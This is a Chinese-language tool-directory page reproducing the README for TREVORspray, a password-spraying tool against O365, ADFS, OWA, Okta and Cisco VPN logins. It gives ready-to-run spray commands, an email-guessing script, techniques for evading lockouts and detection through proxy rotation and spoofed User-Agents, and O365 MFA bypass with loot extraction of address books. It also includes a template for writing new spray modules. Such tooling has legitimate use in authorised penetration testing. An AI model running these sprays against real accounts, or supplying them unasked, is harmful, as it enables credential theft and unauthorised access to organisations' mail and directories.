Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
TREVORspray — 模块化密码喷洒器,支持SSH代理轮换、MFA绕过和域名侦察。支持O365、ADFS、OWA、Okta、Cisco VPN。自动化凭据验证与战利品提取。 | Kitploit
工具/GitHubGitHub/blacklanternsecurity/trevorspray
WAF绕过
GitHubblacklanternsecurity/trevorspray

TREVORspray

模块化密码喷洒器,支持SSH代理轮换、MFA绕过和域名侦察。支持O365、ADFS、OWA、Okta、Cisco VPN。自动化凭据验证与战利品提取。

查看仓库
1.4k17963个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

TREVORspray 2.0

TREVORspray 是一个模块化密码喷洒工具,支持线程、SSH 代理、战利品模块等功能!

作者:@thetechr0mancer

License Python Version

安装:

root@kitploit:~
pip install git+https://github.com/blacklanternsecurity/trevorproxy
pip install git+https://github.com/blacklanternsecurity/trevorspray

详细内容请参见配套的 博客文章,里面有有趣的吐槽和一些酷炫的演示!

trevorspray 演示

功能特性

  • 多线程,大量线程
  • 多种模块
    • msol(Office 365)
    • adfs(Active Directory 联合服务)
    • owa(Outlook Web App)
    • okta(Okta SSO)
    • anyconnect(Cisco VPN)
    • 自定义模块(易于创建!)
  • 显示每个账户的状态:是否存在、是否被锁定、是否启用了 MFA 等
  • 自动取消/恢复(记住已尝试过的用户/密码组合,保存在 ~/.trevorspray/tried_logins.txt 中)
  • 通过 --ssh 或 --subnet 在多个 IP 之间轮询代理
  • 代理掉线(或网络中断)时自动无限重连/重试
  • 伪造 User-Agent 及其他特征,使其看起来像合法的认证流量
  • 全面的日志记录
  • 可选的 --delay、--jitter 和 --lockout-delay 参数,用于在请求之间添加延迟,绕过锁定防护机制
  • IPv6 支持
  • O365 MFA 绕过支持(通过 --no-loot 禁用)
    • IMAP
    • SMTP
    • POP
    • EWS(Exchange Web 服务)- 自动获取 GAL(全局地址簿)
    • EAS(Exchange ActiveSync)
      • 推荐的绕过方式:BlueMail Android 应用
    • EXO(Exchange Online PowerShell)
    • UM(Exchange 统一消息)
    • AutoDiscover - 自动获取 OAB(脱机地址簿)
    • Azure 门户访问
  • 域名 --recon 侦察功能,包含以下能力:
    • 列出 MX/TXT 记录
    • 列出 O365 信息
      • 租户 ID
      • 租户名称
      • 其他租户域名
      • SharePoint URL
      • 身份验证 URL、自动发现、联合配置等
    • 用户枚举(使用 --recon 和 --users):
      • OneDrive
      • Azure Seamless SSO

操作方法 - O365

  • 首先,获取一份 corp.com 的邮箱列表,进行一次喷洒测试,看看默认配置是否有效。通常默认配置是可行的。
  • 如果 TREVORspray 告诉你列表中的邮箱不存在,不要放弃。使用 --recon corp.com 获取 token_endpoint。token_endpoint 就是你要喷洒的 URL(使用 --url 参数指定)。
  • 可能需要多次尝试才能找到正确的 token_endpoint 和邮箱格式的组合。
    • 例如,如果你攻击的是 corp.com,可能并不像直接喷洒 corp.com 那么简单。你可能会发现 Corp 的母公司 Evilcorp 拥有他们的 Azure 租户,这意味着你需要针对 evilcorp.com 的 token_endpoint 进行喷洒。另外,你可能会发现 corp.com 的内部域名 corp.local 被用来代替 corp.com。
    • 所以最终,你不是用 [email protected] 去喷洒 的 ,而是用 去喷洒 的 。

示例:对域名进行侦察(获取租户信息、自动发现、MX 记录等)

root@kitploit:~
trevorspray --recon evilcorp.com
...
    "token_endpoint": "https://login.windows.net/b439d764-cafe-babe-ac05-2e37deadbeef/oauth2/token"
...

示例:通过 OneDrive 枚举用户(无失败登录)

root@kitploit:~
trevorspray --recon evilcorp.com -u emails.txt --threads 10

侦察用户枚举

示例:针对发现到的 "token_endpoint" URL 进行喷洒

root@kitploit:~
trevorspray -u emails.txt -p 'Welcome123' --url https://login.windows.net/b439d764-cafe-babe-ac05-2e37deadbeef/oauth2/token

示例:喷洒时在请求之间添加 5 秒延迟

root@kitploit:~
trevorspray -u [email protected] -p 'Welcome123' --delay 5

示例:喷洒并在 3 个 IP 之间轮询(当前 IP 也会被使用,除非指定了 -n)

root@kitploit:~
trevorspray -u emails.txt -p 'Welcome123' --ssh [email protected] [email protected]

示例:在不使用 OSINT 的情况下发现有效用户名 >:D

root@kitploit:~
# 克隆 wordsmith 数据集
wget https://github.com/skahwah/wordsmith/releases/download/v2.1.1/data.tar.xz && tar -xvf data.tar.xz && cd data

# 按出现频率对首字母排序
ordered_letters=asjmkdtclrebnghzpyivfowqux

# 遍历首字母
echo -n $ordered_letters | while read -n1 f; do
  # 遍历美国常见姓氏的前 2000 个
  head -n 2000 'usa/lnames.txt' | while read last; do
    # 生成 f.last 格式的邮箱
    echo "${f}.${last}@evilcorp.com"
  done
done | tee f.last.txt

trevorspray -u f.last.txt -p 'Welcome123'

从下载的 LZX 文件中提取数据

当 TREVORspray 成功绕过 MFA 并获取到脱机地址簿(OAB)时,地址簿会以 LZX 格式下载到 ~/.trevorspray/loot 目录。LZX 是一种微软使用的古老且烦人的压缩算法。

root@kitploit:~
# 获取 libmspack(用于解压 LZX 文件)
git clone https://github.com/kyz/libmspack
cd libmspack/libmspack/
./rebuild.sh
./configure
make

# 解压 LZX 文件
./examples/.libs/oabextract ~/.trevorspray/loot/deadbeef-ce01-4ec9-9d08-1050bdc41131-data-1.lzx oab.bin
# 提取所有字符串
strings oab.bin
# 提取并去重邮箱
egrep -oa '[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}' oab.bin | tr '[:upper:]' '[:lower:]' | sort -u

TREVORspray - 帮助:

root@kitploit:~
$ trevorspray --help
usage: trevorspray [-h] [-m {owa,okta,auth0,anyconnect,jumpcloud,adfs,msol,example}] [-up USERPASS [USERPASS ...]] [-u USERS [USERS ...]] [-p PASSWORDS [PASSWORDS ...]] [--url URL]
                   [-r DOMAIN] [--export-tenants FILE] [-t THREADS] [-f] [-d DELAY] [-ld LOCKOUT_DELAY] [-j JITTER] [-e] [-nl] [--ignore-lockouts] [--timeout TIMEOUT] [--random-useragent]
                   [-6] [--proxy PROXY] [-v] [-s USER@SERVER [USER@SERVER ...]] [-i KEY] [-b BASE_PORT] [-n] [--subnet SUBNET] [--interface INTERFACE]

A password sprayer with the option to load-balance traffic through SSH hosts

options:
  -h, --help            show this help message and exit

basic arguments:
  -m, --module {owa,okta,auth0,anyconnect,jumpcloud,adfs,msol,example}
                        Spray module to use (default: msol)
  -up, --userpass USERPASS [USERPASS ...]
                        file(s) containing username and password pairs (format: 'username:password')
  -u, --users USERS [USERS ...]
                        Usernames(s) and/or file(s) containing usernames
  -p, --passwords PASSWORDS [PASSWORDS ...]
                        Password(s) and/or file(s) containing passwords
  --url URL             The URL to spray against
  -r, --recon, --enumerate DOMAIN
                        Retrieves MX records and info related to authentication, email, Azure, Microsoft 365, etc. If --usernames are specified, this also enables username enumeration.
  --export-tenants FILE
                        Export all discovered tenant domains to a file

advanced arguments:
  Round-robin traffic through remote systems via SSH (overrides --threads)

  -t, --threads THREADS
                        Max number of concurrent requests (default: 1)
  -f, --force           Try all usernames/passwords even if they've been tried before
  -d, --delay DELAY     Sleep for this many seconds between requests
  -ld, --lockout-delay LOCKOUT_DELAY
                        Sleep for this many additional seconds when a lockout is encountered
  -j, --jitter JITTER   Add a random delay of up to this many seconds between requests
  -e, --exit-on-success
                        Stop spray when a valid cred is found
  -nl, --no-loot        Don't execute loot activites for valid accounts
  --ignore-lockouts     Forces the spray to continue and not stop when multiple account lockouts are detected
  --timeout TIMEOUT     Connection timeout in seconds (default: 10)
  --random-useragent    Add a random value to the User-Agent for each request
  -6, --prefer-ipv6     Prefer IPv6 over IPv4
  --proxy PROXY         Proxy to use for HTTP and HTTPS requests
  -v, --verbose, --debug
                        Show which proxy is being used for each request

SSH Proxy:
  Round-robin traffic through remote systems via SSH (overrides --threads)

  -s, --ssh USER@SERVER [USER@SERVER ...]
                        Round-robin load-balance through these SSH hosts (user@host) NOTE: Current IP address is also used once per round
  -i, -k, --key KEY     Use this SSH key when connecting to proxy hosts
  -b, --base-port BASE_PORT
                        Base listening port to use for SOCKS proxies
  -n, --no-current-ip   Don't spray from the current IP, only use SSH proxies

Subnet Proxy:
  Send traffic from random addresses within IP subnet

  --subnet SUBNET       Subnet to send packets from
  --interface INTERFACE
                        Interface to send packets on

编写你自己的喷洒模块

如果你需要喷洒某个尚未支持的服务器/接口,你可以编写自己的喷洒模块!这是一个很好的选择,因为自定义模块可以享受 TREVORspray 的所有特性——例如代理、延迟、抖动等。

编写自定义喷洒模块相当简单。在 lib/sprayers 目录中创建一个新的 .py 文件(例如 lib/sprayers/custom_sprayer.py),并创建一个继承自 BaseSprayModule 的类。你可以随意命名该类。填充 HTTP 方法以及请求中需要的任何其他参数(可以参考 lib/sprayers/base.py 或其他模块中的示例)。

  • 你只需在自定义类中实现一个方法:check_response()。该方法评估 HTTP 响应,以确定登录是否成功。
  • 完成后,你可以在命令行中指定 Python 文件名(不带 .py)来使用自定义喷洒模块,例如 trevorspray -m custom_sprayer -u users.txt -p Welcome123。
root@kitploit:~
# 示例喷洒模块

from .base import BaseSprayModule

class SprayModule(BaseSprayModule):

    # HTTP 方法
    method = 'POST'
    # 默认目标 URL
    default_url = 'https://login.evilcorp.com/'
    # 请求体
    request_data = 'user={username}&pass={password}&group={otherthing}'
    # HTTP 请求头
    headers = {}
    # HTTP cookies
    cookies = {}
    # 不将不存在的账户计为失败登录
    fail_nonexistent = False

    headers = {
        'User-Agent': 'Your Moms Smart Vibrator',
    }

    def initialize(self):
        '''
        在运行时从用户获取其他参数
        注意:这些参数也可以通过以 "TREVOR_" 开头的环境变量传递:
            TREVOR_otherthing=asdf
        '''
        while not self.trevor.runtimeparams.get('otherthing', ''):
            self.trevor.runtimeparams.update({
                'otherthing': input("那个其他东西是什么? ")
            })

        return True


    def check_response(self, response):
        '''
        返回 (valid, exists, locked, msg)
        '''

        valid = False
        exists = None
        locked = None
        msg = ''

        if getattr(response, 'status_code', 0) == 200:
            valid = True
            exists = True
            msg = '有效凭据'

        return (valid, exists, locked, msg)

致谢——非常感谢以下人员:

  • @dafthack 编写了 MSOLSpray
  • @Mrtn9 提供了 MSOLSpray 的 Python 移植版
  • @KnappySqwurl 是一位 Splunk 巫师
  • @CarsonSallis 提供了 O365 MFA 绕过方案
  • @DrAzureAD 提供了 Azure AD 侦察功能(AADInternals)
  • @nyxgeek 提供了 OneDrive 用户枚举功能(onedrive_user_enum)
  • @gremwell 提供了 Seamless SSO 用户枚举功能(o365enum)

trevor

#trevorforget

下载工具
corp.com
token_endpoint
[email protected]
evilcorp.com
token_endpoint